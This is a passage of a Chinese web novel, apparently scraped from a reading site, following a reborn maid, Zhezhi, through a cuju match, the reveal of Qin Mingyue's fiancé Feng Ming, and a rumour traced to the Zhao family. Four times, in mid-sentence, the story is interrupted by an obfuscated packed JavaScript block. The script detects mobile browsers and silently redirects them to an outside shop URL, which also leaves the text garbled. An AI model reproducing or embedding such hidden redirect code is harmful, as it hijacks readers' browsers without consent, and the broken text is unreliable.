众人都以为崔彦林会拒绝，坚持带伤前去，却没想到他漆黑的瞳仁转了转，不知道想到什么，沉下声来回答了陈吉一个好。 陈吉心里思索着该如何安排。他抿了抿唇，又道：“那你好生歇着，等着哥哥们给你赢下来魁首。” 如今看到崔彦林那副样子，输球事小，就怕那群人为了赢球不要命地往他身上撞。上场到了末尾，这群人见他们安平社领先了几个比分，便眼红了开始想法子绊人，一个个人高马大的儿郎撞过来，那劲可别说有多大。 崔彦林好歹也是左相的小儿子，赛场上无伤大雅地撞撞，不伤了还算是好。现在身上带了上伤，半炷香时间哪里好的透彻，那群人不知轻重地再撞，难交代的只会是他陈吉。 崔彦林今年才十之又四，比在座的公子小姐年纪都小些，只是因为他身量高，让人会误以为他即将及冠，再不济也是个十六七岁的少年郎了。 当然，在座的人不包括折枝。 此刻她正辛苦地给秦明月扇着扇子，又看见坐着的崔彦林微微颔首，乖顺地朝陈吉点头。 说实话沈折枝对于上辈子崔彦林的小少年时期的印象并不多，唯一那么一两次便是在秦家见到的。第一回是在替秦明月捡球之时，另一回印象便没有那么深了。 只是崔彦林向来是个做事持之以恒的人，今日没有上场的确让折枝有些意外。 并且方才他接过自己帕子的时候，那微皱的眉头，和眼底划走的情绪，让折枝实在捉摸不透。 半炷香燃尽，队员尽数来到了场上。 儿郎们摩拳擦掌，跃跃欲试。 崔彦林坐在凳子上，竖起一只手撑着脑袋，另一只手慢条斯理地擦拭着身上的水迹。 李瑜看着他这副模样，皱了皱眉有些心疼，想了半晌还是决定开口：“崔小公子，你这衣裳……你可带了随侍小厮前来？让他搀着去换了罢，身上也算爽利些。” 崔彦林摇了摇头，并未回答她的话，只是偏着脑袋往那场上望去。 李瑜还欲开口相劝，却被赵敏拉住。 只因为那端着铜盆前来讨彩头的丫鬟小厮终于来了她们这边了。 两个小厮在后面端着铜盆，头埋得低低的，一只盆上系着红绸，另一只盆上系着蓝绸。只见前面的丫鬟开口指了指铜盆，里面碎银铜板已然不少。 林觉那队如何也算是旧居第一的蹴鞠球队，讨得的彩头已经堆了高高一座山。 而陈吉那队，作为今日的主家，虽略有逊色，但也算不少。至少对于折枝来说。 折枝虽然见过这群贵族少年少女骄奢淫逸的场面，但还是被他们这样不把钱当钱的场景给震慑住了。 钱山……那可是钱山啊！！ 难怪乎杜甫有那样一句：“朱门酒肉臭，路有冻死骨。” 她们这群在底下刨食的人，穷尽一生或许都赚不了那么多的银子，竟被这些富家公子轻飘飘地就打赏出去了。 赵敏痴迷蹴鞠，场上哪队赢对她来说都意义不大，她只赏给赢面大的人。 她略微思忖，如今安平社势头看似最猛的球头已经下了，想来是没什么赢面了。于是将手中的银锭放在了奉先社的铜盆当中。 李瑜自然盼着自家哥哥那一队能够赢，还未等问话便将手中的碎银子放入铜盆中。 一相对比，奉先社的铜盆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533277|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掷入银锭而无声，而安平社的铜盆却听着叮当响。 富的不显山露水，穷的叮当响。 两姐妹赏完彩头，摇着扇子齐齐朝秦明月看来。 秦明月毫不客气解下腰间系着的荷包，看要投入哪个盆中时却凝住动作，看向场上。 林觉恰好一个转身，将皮球踢进了风流眼。 方才落后的比分此时扳平。 众人觉得秦明月虽方才说了林觉长得不大喜人，但好歹也是心中钦慕了他那样久，一定会将银子投到奉先社铜盆当中。 怎料秦明月将手一松，银锭子悉悉索索落在了系着红绸的铜盆当中。 秦明月见众人惊诧的目光，颇为骄傲地昂着头，“如何？本小姐这一百两，全赏给安平社，愿安平社能夺得桂冠，不枉费本小姐一片苦心！” 折枝也有些惊讶，望着秦明月兀自发笑。 秦小姐虽无心机，但总知道谁对她好，谁给脸不要脸。 从前她腆着脸上前示好，也未曾见到林觉感激过她。可若是她甩给一条狗一块肉，狗都懂得朝她摇尾巴呢！ 折枝从一众目光中，察觉到有人朝她看来。 她不动声色偏过头，却对上崔彦林那双幽深的眸子，似乎隐含笑意。 折枝心一惊，将头埋得更低。 她听见崔彦林的声音响起。 “秦姐姐慧眼识珠，依彦林看，安平社必定能赢。” 秦明月点了点头，当是崔彦林为安抚她说的些好听话罢了，便不再言语。 怎料崔彦林仍继续开口，倏地站起身子，脸色又变得有些苍白。他朝秦明月艰难笑笑：“秦姐姐可能将身边的女使借我一借？” 他到底是有些行动不便，“虽不妨事，但彦林还是想看完这场比赛罢。此处不宜观赛，彦林想换个位置。不知道秦姐姐能否割爱？” 温润如玉的贵公子这样对别人说话，向来是让人难以拒绝的。 秦明月虽不想借出折枝，但想到前些日子崔彦林救了折枝一命，也算帮了他的一个忙。 身旁站着的李瑜恨不得自己上前搀扶他，可惜男女有别，在场的丫鬟们中又只有折枝年纪最小，最让她放心。 她摇着扇子朝秦明月笑道：“崔小公子说什么借不借的话？左右只不过是个丫鬟，你想差遣便差遣了。秦姐姐大方贤淑，自是不会计较。” 于是折枝就这样被他借过去了。 她顺着他的心意朝连廊边上去，虚扶着他的手。 可是他的手却实实在在搭在她的手之上，虽然隔着一层粗布，她也感觉到那微凉的指尖。 手指洁白如同根根分明且细长的莹玉，指尖却现着点点粉色。 折枝吞了吞口水，这崔小公子的手可真是好看。 崔彦林看似一瘸一拐，可实际上并未让折枝承担什么重量，仍旧挺拔如松，气度非凡。 到了连廊尽头处的木桩子前边，视野果真清晰些了。 崔彦林停驻于桩子前边，眺目看向场上一个跃动的青年。 过了很久，崔彦林才开口，声音清越。 “你可知那是谁？” 8. 赢球 折枝顺着他的手指看过去，只见一个丰神俊朗的青年沉稳立于旗前，像个来考较场上儿郎们的夫子，却不像个来蹴鞠的队员。 只是人不可貌相，海水不可斗量。 那青年取代了先前陈吉的跷球位置，动作看似漫不经心，可却轻松地过了好几个人，将球又传给了陈吉。 “好！” 叫好声一片。 折枝听见那叫好声中，她家小姐似乎喊得最为雀跃。 这人，她前世着实没有见过啊。 折枝咬了咬唇，曲着身子如实答道：“奴婢不知。” 崔彦林好看的眼睛又划过一抹异样，接着很久才重新掀开薄唇一字一顿道：“那是冯铭，翰林学士冯铭。也是秦明月的未婚夫。” * 热火朝天的赛场上，奉先社的队员叉着腰，纷纷气喘吁吁小声声讨着那个让他们摸不着头脑的跷球。 完全就是把他们当作猴儿遛了。 “这个跷球，是什么来头……这个跑法，看着极好抢夺，真和他枪起来，怕是有十条腿都得累死。” 本来看他势头盛，众人就存了心思想去他身上撞上一撞，奈何还未靠近他身边，便让他化作条泥鳅似的逃了。 “脚上怕不是抹了油吧……” 林觉做的是奉先社的球头，此刻听见他们一番灭自己威风长他人志气之言，怒火中烧，硬是朝着方才说丧气话的少年怒喝一句。 “够了！你说这么多作甚！！” 只是这场上的少年儿郎谁不是被家中惯着长大的，能受的了林觉这一声。 况且他吼的还是老太师家的独孙，周珩。 周珩当时便怒得揭下头上的璞巾，将锦衣的窄袖往上拢了拢，露出一截手臂，冲过去质问林觉：“林觉，做了几日球头做昏了头是罢？” 另一边。 廊前清风徐徐。 折枝听了崔彦林指认，心里很是不解：“冯公子也善蹴鞠之道吗？” 若是冯铭擅长蹴鞠，上一世何不上场一展风光？如此一来，秦明月或许也不会看上林觉那个不安分的。她其实想不明白。 清风拂动崔彦林露在璞巾外面的发丝，又撩动他清浅的声线。 “错。他并不善于此道。” 崔彦林的眼睛望得极远，落在正撸起袖子被两拨人拉开的周家公子和林觉身上。 “冯兄寒窗苦读良久，文弱书生一个，今日是他第一回上赛场。” 崔彦林语调幽幽，却已经拨开折枝心中所有的疑云。 原来如此。 所以上场崔彦林上了场，下半场却不肯坚持上场。因为冯铭第一回上场，他先得观察一下对面队员的跑法再对症下药才好。冯铭读的书多，自然比这群只会吃喝玩乐的富家子弟心中多些弯弯绕绕，再加之他已经将这些人的技法钻研透了，对面再对上他，自然觉得吃力。 而他同样有不足。那就是他到底是个只读书的人，跑动起来自然坚持不了多久……故而，周家公子和林觉的争执，也是被他们算在里面的。 真把一炷香时间比完，魁首之位花落谁家还真不好说。 但前提也是能够比完啊。 上半场安平社本就略微领先奉先社一些，而冯铭上场，又是几颗球进了风流眼，稳住了必赢的局面。 折枝望向前边被众人拉住的周珩林觉，眼见着围着的人越来越多。 奉先社内讧了要打起来了，比赛自然是比不成了。安平社的队员也上前帮忙拉人，不拉人的也站在旁边看热闹。 周珩指着林觉，气得浑身颤抖。 “你区区一个侍郎之子，怎敢指教斥责我等？难不成是做久了社长让你心高气傲了？” 林觉也正在气头上，顿时忘记了身份地位悬殊，他捂着自己方才被周珩打了一掌的脸，不甘示弱道：“我是侍郎之子又如何？你祖父是太师又如何？你不过一个妾生子，等你家主母诞下嫡子……” “够了！” 陈吉作为今日宴请的主家，见他们闹得如此过分，也不得不出声阻止。 若是再闹得大些，必定让他们家中也难堪。 他遣人前去给他母亲报了信，如今得到传话，是叫他暂时稳住局面，输赢暂且不论，切莫伤了人就好。 周珩气得双眼通红，双手紧紧捏在身侧，怒目圆睁看向林觉。 他生平最恨别人那他身世来说事，是他绝对提不得的忌讳。平日里被周家千宠万爱，长至少年还未曾有人让他受了这样大的气的。 陈吉沉声道：“还在比赛，两位不若等比完再论个高下……” 周珩已然急了眼，朝林觉狠狠呸了一声：“比？比个劳什子！跟他这样的人处于同队我都觉得恶心！” 陈吉不动声色抬了抬眼，继续安抚道：“既是不比了，那不若先回席上，此处打闹到底失了体面。也请消消气，到底是我家招待不周，两位公子莫要气了才是。” 两人到底是看在国公府的面子上没有再闹下去。 只是回了席上仍旧争锋相对，到了散席的时候仍旧不快。 秦明月和李氏一起回府，却未曾同乘一车。 来到国公府外，等在外面的翠云已经晒得失了精气神，不过她看见秦明月出来，脸上立马染上笑意，伺候秦明月上了马车。 正欢欣雀跃等着秦明月唤她上马车伺候时，却没成想秦明月唤了折枝上去。 “折枝，你上来同本小姐说会子话！” 秦明月眼睛亮晶晶的，似乎心里有很多疑惑想要朝折枝问。 而翠云在听见秦明月的这句话时，笑脸顿时凝滞住，一时间笑也不是不笑也不是。 她家小姐何时这样亲昵对待过一个丫鬟？就连她这个陪着小姐长大的贴士丫鬟，也未曾受过这样的待遇。 秦明月没有注意到翠云的脸色，只是期期艾艾地看着折枝提着东西上了车，吩咐马车开始走了才开口。 折枝手上提的是从国公府带走的糕点。国公府来了位江南的厨子，会做些南方特有的糕点，便为每家来客都备了一份仅当尝鲜。 折枝撩上帘子，还未坐稳，就又打开食盒用手绢捏出一块新都桂花糕递到秦明月手中。 接着她笑吟吟看向秦明月：“小姐有话想问奴婢，且席上并未吃尽兴。不若先垫垫肚子再问奴婢不迟。” 贵女淑娴，一举一动皆有定数。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533278|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李氏和秦尚书上回因着秦明月跋扈的名声苦恼不已，挫着她学了许久的规矩，正要在这些宴会上一雪前耻打散这些传言。故而李氏在带她来国公府之前嘱咐了她许多次不许吃多，一定要吃得优雅。 秦明月在家吃饭一顿能吃三小碗，在席上肯定没吃饱。 只见秦明月见左右无人，便顾不得淑女仪态，嘴里边往外喷着碎屑边道：“折枝，方才崔小公子都和你说了些什么？” 秦明月对崔彦林无意，故而并不是来打探崔彦林的，恐怕是被别人当作刀使想要借机得到些难得的消息方便投其所好罢了。 折枝思忖片刻，答道：“公子和奴婢讲赛场上的事，可奴婢听不懂。” 果真转移了秦明月的话题，她似乎终于找到个可以倾诉的对象。 “那他是不是也同你讲起安平社最后上场的那个跷球了？” 折枝垂下眼眼神一黯，掩下一抹笑意。 “公子未同奴婢讲这些……” 秦明月有些好奇，握着桂花糕发问：“那他未曾和你讲过这些，都和你说了些什么？” 折枝眨眨眼睛，认真道：“公子同奴婢说，若是他上场，莫说踢赢他们，只怕是要踢得他们连夫人们都不认识了。” 秦明月不疑有他，被折枝的话逗得娇笑起来，如同银铃一般悦耳。 折枝不怕她去找崔彦林求证，即使她方才说给秦明月的话都是编的。因为无人会特地为了验证一个婢子说的话而亲自找上崔彦林，特别是怀春少女，无论真假她们都愿当作真的。 崔彦林被她领到廊前，除了指证冯铭的话之外什么也没说。 而是和她就那样坐着，静听清风，悄看艳阳。 * 曲长的坊间道路上，一辆马车不紧不慢地往前慢慢滚动着， 忽然帘子被一双水葱似的手挑开，露出一张明艳的脸。 那张脸上秀眉微蹙，淡淡看了一眼马车外，脸色有些不好，不过很快放下帘子。 “姐姐，你不必看了，慢些就慢些吧，如今我们哪次回去不是要等到落日呢？” 赵霁有些恼怒，不禁埋怨道：“母亲怎么能这样待我们？！我们好歹也是原配所出的正经嫡女，何必如此苛待！” 赵敏劝慰道：“哪回不是这样呢？我们就算再气，就算告到祖母父亲面前，不也不了了之么？有了后母便有了后爹，左右我们都是没人心疼的就是了。” 话虽是这样说，赵霁还是朝她愤恨一眼，无声控诉。 赵敏也撩了撩帘子，确保马车四下无人，才捂着嘴朝赵霁笑笑。 赵霁回望她，一脸不解：“你不生气吗？笑着作甚？” “左右每回都差不多的，不如听点高兴的……”赵敏压低声音靠近赵霁，“上回同你说秦明月痴恋林家公子的事情，你可还记得？” 赵霁眼里兴味盎然：“难不成快妥了？” “哪里的话？秦明月都有婚约了，宴席上还说已经不喜欢林家公子了，把身上的银子都赏给了安平社的人呢……” 京城中人士皆知林觉是奉先社社长，而安平社和奉先社向来不对付。 赵霁问：“那莫非是欲擒故纵？” 9. 谣言 后日，才用过早饭。 秦明月昨日荡了一日秋千，晚些时候还央着李氏身边的覃姑姑做了些海棠花研制的香膏。她还琢磨着该去寻些什么新鲜事做做，不料李氏身边的秋菊低着头唤她到前院去。 秦明月心中有惑，不过还是带着身边的折枝和翠云往前院赶。 未见其人，先闻其声。 里面的人说笑之声早就透过几枝海棠花往外传出来了。 “妹妹说的什么话，我家瑜姐儿最是顽皮，哪里比得上你们家月姐儿知书达理。瞧她这模样，一竿子打下去说不出两句话的性子，真是要急死我了。” 妇人一身绛紫色流苏云纹褂子，圆领高高拢起遮住一截白皙的脖颈，项间带了一条极长的檀木珠子串。看着大约三十来岁，只不过保养不算得宜，眼角藏着细纹，用过香粉也遮不住。 “母亲！莫要再在姑母面前取笑我了！” 仔细一看眉目似乎有些熟悉，再看身旁红着脸娇嗔的少女，一双柳叶眉，脸颊细长，容貌清丽，正是李瑜。 李氏抬眼见秦明月来了，先是让秦明月同孙氏和李瑜见礼，接着颇有些恨铁不成钢地望向秦明月叹道：“瑜姐儿也算是我看着长大的，性子闷些便闷了些，女儿家也总归是安静些才好。不像明月，太过活泼，顽劣不堪，我倒巴望着她哪日同瑜姐儿一样安安静静就好呢。” 孙氏掩唇一笑，接着像是想到什么脸色微变，似乎是在犹豫心中有话当讲不当讲。 李氏察觉，疑惑道：“嫂嫂可是有什么话想说？请但说无妨。” 孙氏为难一笑，眼神飘忽起来，忽然看向李瑜。 “瑜儿，你来的路上不是同母亲说前些天你们几个姐妹相见未曾尽兴，今日要和月姐儿说好多的体己话吗？” 李氏会意，连忙笑着吩咐秦明月：“明月，带你瑜妹妹去看看你父亲书房前边的白海棠，你不是上回还念叨着有空要请瑜妹妹来赏花吗？” 秦明月早就不想呆在前院，得了李氏吩咐便兴高采烈地拉过李瑜的手走远了。 折枝全程低着头暗自沉思。 今日李瑜和她母亲绝非偶然前来，一看孙氏那模样便可以知道她似乎有话想说，只是碍于两位小姐在场不好说罢了。那有什么话是当着小姐的面上不能说的呢？ 无非是对小姐不好的事。 若是好的事情，当面说了便说了就是，两边都有面子。 孙氏此次专为报信而来，那就说明此事绝对事关秦府，并且还是秦明月……折枝想到前世，这个时候过了大概三个月之后，冯家便上门退了亲。 莫非就是因为今日之事让秦明月和冯铭错失了一段良缘？ 这件事又在秦家倒台当中又扮演了什么角色？ 她边想边走，一路低着头跟着秦明月几人来到书房前边。 小姐们在前边赏花，她们便站在另一边远远地守着。 “折枝？” 眼前不知何时出现一只手，不停地晃来晃去。 折枝被这只手吓得从沉思中立刻抽离，只见眼前脸上略有不耐烦的翠云看着她冷冷道：“发什么呆呢！整日里什么事也不干净走神去了！” 折枝低着头讪笑两声：“翠云姐姐莫训了，我保准下回一定不出溜神了。” 翠云冷笑着看着她，有意无意将眼神瞟向围着白海棠说说笑笑的两位小姐。 “小姐说等会儿午膳要吃红糖珍珠丸子，你去吩咐小厨房做着，听到没有？” 折枝方才虽然走神去了，但是决计是没有听到秦明月要吃珍珠丸子的事情。约莫是翠云寻了个由头就想轻易把她打发去了，想制造单独和两位小姐在一块的机会罢了。 折枝敛下眉目，有些欲言又止地朝秦明月那边看了看，却被翠云恶狠狠打断。 “别以为我不知道你在想什么，表小姐和小姐正聊得正畅快，去打扰她们了有你好果子吃！” 便是想要杜绝了她前去报信的心思。 只不过折枝本就好奇前院李氏和孙氏正在聊些什么，如今遇见翠云刁难恰如瞌睡来了有人递枕头。 “只是夫人上回说了，不让小姐吃多了甜食。今早才用了糕点，理应是不能再加了。”折枝有些怯懦地看了两位小姐的背影一眼。 翠云拦着手目露厌烦看向她，尖声道：“那我管不着，我只传达小姐的意思。”她脸上扯出一抹玩味的笑容，又道：“你若觉得小姐不能吃，那边同夫人讲去吧！” 正是要的她这句话呢。 无论如何，翠云这小丫头磋磨人的手段还是嫩了些。她心里笃定折枝只不过一个面瘦肌黄身无二两肉的小丫鬟，没有那个胆量敢真的上前告状，而只会老老实实上了小厨房去做了去。 毕竟就像她这样在小姐身边伺候了这么久的，见到夫人还仍旧浑身发虚。 此举不但能够在此时差遣走折枝，等两位小姐赏完花之后再到小姐面前说几句折枝爱偷懒之类的话，一来二去让小姐对她印象不好。还能在等会的午膳之时再训斥她不将小姐的事放在心上而倒打一耙。实乃一箭双雕。 可她千算万算没有算到折枝如今已经是个活了大半辈子的老嬷嬷了，哪能被这样的一个小婢子拿捏住？ 折枝叹了口气，为难地看向翠云：“那好吧，翠云姐姐既然吩咐了，我只有照办的份。” 而她什么也不需要多说多做，顺着翠云的话去请示吩咐便好。 至于问起来是谁，她只用说是翠云指使的便是。 檐下风铃翕动，清风悠悠。 折枝到了前院，看见李氏身边的大丫鬟秋菊正守在外面，心中了然。 别的不说，此事应该还是挺重要的。 不然也不会看重至此。 秋菊看折枝眼熟，便打量着轻声问：“你是新到小姐身边伺候的？” 折枝不卑不亢，曲下身子道：“是。小姐身边的翠云姐姐同我说小姐午膳想吃红糖珍珠丸子，便差遣我出来送话。” 秋菊朝她摆了摆手催她离开，掩住唇悄声道：“既是小姐吩咐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533279|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，那便直接去小厨房便是了，来这里做些什么？” 折枝眨了眨眼睛，如实道：“可夫人前些日子叮嘱了不让小姐多用甜食的……我想着……小姐要吃，总不能越过夫人吩咐。夫人准许小姐吃了，我才好向小厨房递话。奴婢谨遵夫人嘱咐，实在为难……” 折枝低垂着头，仔细地听着里面的声音透过屏风慢慢往外传。 听不真切，但大致能听到一些。 秋菊听到她这话，倒是笑起来。 她毕竟跟在李氏身边多年，见识的也多，哪里看不出这丫头是被别人摆了一道？只是她心思不够活泛，竟真真的赶夫人面前来问了。 她拿手指戳一戳折枝的头，“你啊，是个傻的！别人说什么你便信了！” 屋内。 李氏不知道听到了什么，实在是惊讶，手中的杯子滑落在地上，发出声响。 秋菊此时也顾不得折枝在外面站着的事情了，连忙上前去将地上的碎瓷捡起。 李氏再也不能安坐，在位前踱了好几步，过了许久才有些失态地发问：“嫂嫂说的是可是真的？” 孙氏叹了口气，又道：“我岂会用这些话来蒙骗妹妹？妹妹只管上去坊间打探，寻些丫鬟婆子一探便知。如今这京城早就传遍了，说你家月姐儿心悦户部侍郎家的长子，非他不嫁呢！” 李氏眼中怒火迸现，坐下身来又是重重一巴掌拍在金丝楠木桌上，浑身颤抖。 “荒唐！！怎会有这样的传言流出！实在是荒唐至极！我家明月早有婚约，哪有他侍郎之子的事情！我若知道我家明月有心上人，又岂会给她订下婚约？实在是荒唐至极！” 孙氏端起茶来，轻轻吹了口滚烫的茶水又放下，语重心长道：“我也觉得此番流言荒唐至极，只是这京中谣言三人成虎，假的也被说成了真的啊。更何况，这流言亦有愈演愈烈之象，茶楼里说书人谈笑间便说月姐儿甚至想要退婚……编排的月姐儿和林家公子是如何一对苦命鸳鸯啊。” 她摇了摇头，“当然，这些话当着咱们做长辈的面说说也就罢了。若是让月姐儿知道了外面的人如何编排她，指不定要伤心成什么样子呢。” 折枝虽听不完全，但却能听个大概。 如今她不过是个人微言轻的小丫鬟，于是便是偷听，也是无人在意的。 更何况屏风外本就听不真切，就算问起来她有没有听到也全凭她一张嘴说便是了。 孙氏这招倒是妙，看似是不想让秦明月多心，实则完全不给秦明月一个向着母亲解释的机会。 她忽然明白前世冯家为何会上门退亲。 既然秦明月已经心有所属，那他倒不如成全了她，退婚放她自由便好。 折枝叹一口气。 所谓知人知面不知心，便体会在这微末之处了。李氏满心以为她母家的嫂嫂是全心全意为她考量的，只是事与愿违。可惜李氏当局者迷，反倒是旁观者才能看清。 幸亏她来这一遭，孑然一身，永不会被最亲近的人刺刀子。 10. 赵家 李氏亦觉得此事不能让秦明月听了去，有些狐疑地看了孙氏一眼，“那嫂嫂可曾同瑜姐儿讲起这件事情？” “哪里敢向瑜儿讲起，一来她是个脸皮薄的，二来小孩子家家的，难保她什么时候说漏了嘴同月姐儿讲了又叫她不好受。”孙氏又叹了口气，浅浅啜了一口茶，掩着帕子擦拭了嘴又继续道：“姐姐可曾想好到底要如何处理此事才好？” 李氏也犯了难：“左右只是流言罢了，倒也不至于太过在意。只是当务之急，应当是查出流言究竟从何而出。明月虽性子活泼些，但从不在外人面前多言语……” 李氏敛下眸子，接着缓缓抬起，像是忽然想起什么来，笑着看向孙氏。 “明月素来和瑜姐儿交好，在亲近的人面前嘴上也自然没个把门的。明月可曾和瑜姐儿提过还同谁讲起这些？” 这是兴师问罪来了。 孙氏的笑容凝滞住，顿时僵硬地扯了扯嘴角。 “若是光是瑜儿听见便罢了，正因为瑜儿脾性静，且有我教导着，哪里会将这种话胡乱说出去。昨日我带着瑜儿去冠芳楼选些新品，听见有人说这些不着边际的闲话，让身边的人带瑜儿先走了，又差遣人特地问了这些话是从哪里传出来的。” 她压低声音：“说是永宁坊赵家传出来的。” 李氏回想起秦明月的好友们，其一是有李瑜，另一位则是太尉赵家的赵敏，正住在永宁坊。 难怪孙氏这样来势汹汹上门来，想必早就打听清楚不关她的事，又特地趁流言还没传至她的耳中来送她个顺水人情。 “好啊！”李氏又是重重一掌拍下去，俨然是已经气极。 “好个赵家教出来的女儿！” 秋菊招呼屋内守着的丫鬟一同捡完地上的碎瓷，叫人扔出去的时候，才发现折枝还在外面候着，便无奈地朝她招手叫她靠近些。 “你啊，怎么还在外面等着？夫人现在可没有时间来回你这个小婢子的话，赶紧些回去吧。” 折枝仍旧犹豫，低垂着脑袋抬眼看了眼秋菊，似乎有些苦恼，“那夫人到底是允小姐还是不允小姐？” 秋菊只是招手让她离开，什么也不肯多说了。 到了午膳的时候，折枝在旁边端着漱口的杯子和器皿，翠云则躬亲为秦明月布菜。 她瞧见桌上并没有她讲与折枝的红糖珍珠丸子，冷眼剜了折枝一眼，随后在秦明月耳边悄声咬耳朵。 “小姐，你今早起身的时候不是提了一嘴想吃珍珠丸子吗？上午奴婢且吩咐了折枝去小厨房递话，却没成想她只顾着偷懒，竟是怠慢了小姐。” 秦明月闻言淡淡看了折枝一眼，只见她低着头如同鹌鹑一般，又想到正在吃饭，便一时间没有发难。想到她早上才吃过糕点，又想起母亲的叮嘱，不了了之。 只是座上的李氏脸色并不太好，吃到一半竟是把手上筷子一撂，没了胃口。 秦明月见李氏压根没有吃过几口，有些担忧地开口：“母亲今日可是胃口不好？” 李氏索性不吃了，任覃姑姑上前递过手绢擦拭了嘴唇，又在秋菊服侍下漱了漱口，就坐在位上看着秦明月。 秦明月被李氏看得有些惶恐，“怎么了母亲，可是有话想嘱咐女儿？” 虽然李氏平日里对她溺爱，万事都是紧着她来，也鲜少在她面前摆脸色。今日神色如此严肃，想是听见孙氏说了些什么不得了的事情。 她又回想这几日自己是否有什么做得不好的，却什么都想不起来，只能将求助的目光看向李氏身旁的覃姑姑。 覃姑姑神色不变，只是朝秦明月温和笑笑。 李氏既然不吃，秦明月也不敢再动筷了。 翠云附耳，又向秦明月道：“小姐，莫不是方才折枝向夫人告状？奴婢早就瞧着她没把小姐的吩咐放在心上……” 若是因为珍珠丸子这些小事，母亲即使不允，也最多是笑着哄她吃过这一回下回便不要再吃了……再不济也是笑着让她不吃了便罢了。 决计不是因为这种小事。 秦明月听得心烦，也把筷子一撂，“别说了！” 李氏抬了抬眼，让人前来撤去了饭菜，让翠云和折枝伺候着秦明月漱了口，继续看着秦明月，欲言又止。 覃姑姑倒是劝慰似的抚了抚李氏的肩，转过头来仔细追问秦明月身边的丫鬟。 “前日国公府设宴，小姐带的是哪位赴宴？” 折枝站在后边，心头猛地一跳。 方才她还在想李氏究竟会如何处置才好，如今才知自己怕是要大祸临头了。 折枝慌忙跪下，手上的东西仍旧端着。 “回姑姑，是奴婢。” 上一世关于此事的记忆她印象着实不深，并且太过久远，不记得翠云曾经受过这一遭。 且李氏在孙氏面前，也允诺不让秦明月知道这些腌臜言语，怎么到现在明面上就找上了她？ 秦明月只是没有心机，却并不是蠢笨，稍微一想便能得知是自己在宴席上有不妥的地方了。 覃姑姑居高临下望着她，温和中带着凛冽的眼神扫过折枝，又问：“小姐在宴席上都说了些什么？” 本来是赵家的传出来的流言，可也要先问过原话是怎么样的。 折枝跪在地上，状似在回忆，实则极力思考该怎么回答。 若是说她被崔小公子借走，全然不知，那便是她怠慢主子，忘了本分。可若是说她知道秦明月说了些什么，她的确不知道秦明月后来和其他两位到底说了些什么。 “回姑姑的话，小姐是在与李家小姐和赵家小姐说体己话……奴婢……奴婢并未细听。” 覃姑姑眯着眼睛打量了她许久，只见这小丫头不过八九岁的样子，此时因为害怕极力克制着颤抖，回答得倒是滴水不漏。 “罢了，”李氏伸手按了按眉心，“主子间说话，她一个小丫鬟哪有说话的份？” 李氏看向秦明月，目光微凛：“月儿，母亲问你，母亲上回同你说过定下的婚约，你可是不满意？” 秦明月愣住，想起上回折枝替她看面相，说那冯铭是她的良缘， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533280|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上不由得染上一抹红霞。 “女……女儿不知。” 折枝有些捉摸不透李氏的心思。 此话问起来，虽是在打探秦明月到底说了些什么，但也像在询问秦明月是否要主动去退亲。 李氏得了这样的回答，挥了挥手就让两个丫鬟带着秦明月退下了。 回去的路上，主仆三人心中各有心思。 折枝暗中思索。 赵敏与秦明月交好，即使不是真心的，但也不至于冒着如此之大的风险败坏秦明月的名声。都是京中权势，略微一打听便可轻易打听出来究竟是谁最先传出来的。 说出来这件事的人，定是不想见赵敏好的人。 至于李氏，绝不可能就这样放过赵家的人。至于是以牙还牙还是亲自登门到府施压，折枝暂且不知她要选哪种方式。 “小姐，可是表小姐同李夫人说了些什么，让李夫人说与了夫人？”翠云叹道：“您那日就不该带着折枝前去，她毕竟年纪太小，竟是连您说了些什么也不曾放在心上。” 秦明月不语。 那日折枝确实对她说了些什么不知情，也绝非李瑜向李夫人说了些什么。李瑜做事还是有分寸的，要是真胡乱说话，她早和她玩不下去了。 她忽地心里一惊，心思在此刻顿时活泛起来了。 那既然不是李瑜，只有可能是赵敏！ …… 相安无事了两日，秦明月骤然接到赵敏送来的信。 